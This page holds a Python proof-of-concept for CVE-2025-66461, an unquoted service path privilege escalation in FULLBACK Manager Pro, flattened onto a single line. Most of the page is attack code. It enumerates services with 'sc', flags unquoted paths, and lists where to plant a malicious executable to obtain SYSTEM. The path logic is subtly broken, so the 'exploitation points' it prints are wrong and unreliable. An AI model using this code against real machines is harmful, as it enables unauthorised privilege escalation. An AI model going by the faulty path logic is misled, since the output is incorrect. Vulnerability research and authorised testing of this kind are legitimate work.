CVE-2025-66461 FULLBACK Manager Pro 未引用服务路径权限提升漏洞

#!/usr/bin/env python3 """ CVE-2025-66461 PoC - FULLBACK Manager Pro Unquoted Service Path Author: Security Researcher Description: This PoC demonstrates how to exploit the unquoted service path vulnerability in FULLBACK Manager Pro to escalate privileges to SYSTEM. Note: This code is for educational and authorized testing purposes only. """ import os import sys import subprocess import time def check_service_paths(): """Check for unquoted service paths in FULLBACK Manager Pro services""" print("[*] Enumerating FULLBACK Manager Pro services...") try: result = subprocess.run( ['sc', 'query', 'state=', 'all'], capture_output=True, text=True ) # Search for services containing FULLBACK services = [] for line in result.stdout.split('\n'): if 'FULLBACK' in line.upper(): service_name = line.split(':')[1].strip() services.append(service_name) return services except Exception as e: print(f"[-] Error querying services: {e}") return [] def check_unquoted_path(service_name): """Check if a service has an unquoted executable path""" try: result = subprocess.run( ['sc', 'qc', service_name], capture_output=True, text=True ) for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() # Check if path is unquoted and contains spaces if '"' not in path and ' ' in path: print(f"[+] VULNERABLE: {service_name}") print(f"[+] Unquoted path: {path}") return path else: print(f"[-] Not vulnerable: {service_name}") return None return None except Exception as e: print(f"[-] Error checking service: {e}") return None def exploit_unquoted_path(base_path): """ Exploit the unquoted service path vulnerability This creates a malicious executable in an intermediate directory """ # Parse path to find intermediate directories path_parts = base_path.strip('"').split('\\') executable = path_parts[-1] # Generate potential exploitation points exploit_points = [] current_path = "" for i, part in enumerate(path_parts[:-1]): current_path += part + "\\" # Check if this could be a potential exploit point if ' ' in part and current_path.strip('\\'): exploit_point = current_path + part.split()[0] + ".exe" exploit_points.append({ 'directory': current_path, 'malicious_exe': part.split()[0] + ".exe", 'full_path': exploit_point }) return exploit_points def main(): print("=" * 60) print("CVE-2025-66461 PoC - FULLBACK Manager Pro") print("Unquoted Service Path Privilege Escalation") print("=" * 60) # Step 1: Enumerate services services = check_service_paths() if not services: print("[-] No FULLBACK Manager Pro services found") return # Step 2: Check for unquoted paths vulnerable_services = [] for service in services: path = check_unquoted_path(service) if path: vulnerable_services.append({'service': service, 'path': path}) if not vulnerable_services: print("[-] No vulnerable services found") return # Step 3: Generate exploitation points print("\n[*] Analyzing exploitation points...") for vuln in vulnerable_services: exploit_points = exploit_unquoted_path(vuln['path']) print(f"\n[+] Service: {vuln['service']}") print(f"[+] Original path: {vuln['path']}") print("[+] Potential exploitation points:") for point in exploit_points: print(f" - Create: {point['full_path']}") print(f" In directory: {point['directory']}") print("\n[*] Exploitation requires:") print(" 1. Write permission to intermediate directory") print(" 2. Service restart or system reboot") print(" 3. Malicious executable in exploitation point") print("\n[!] This PoC is for authorized testing only.") if __name__ == "__main__": main()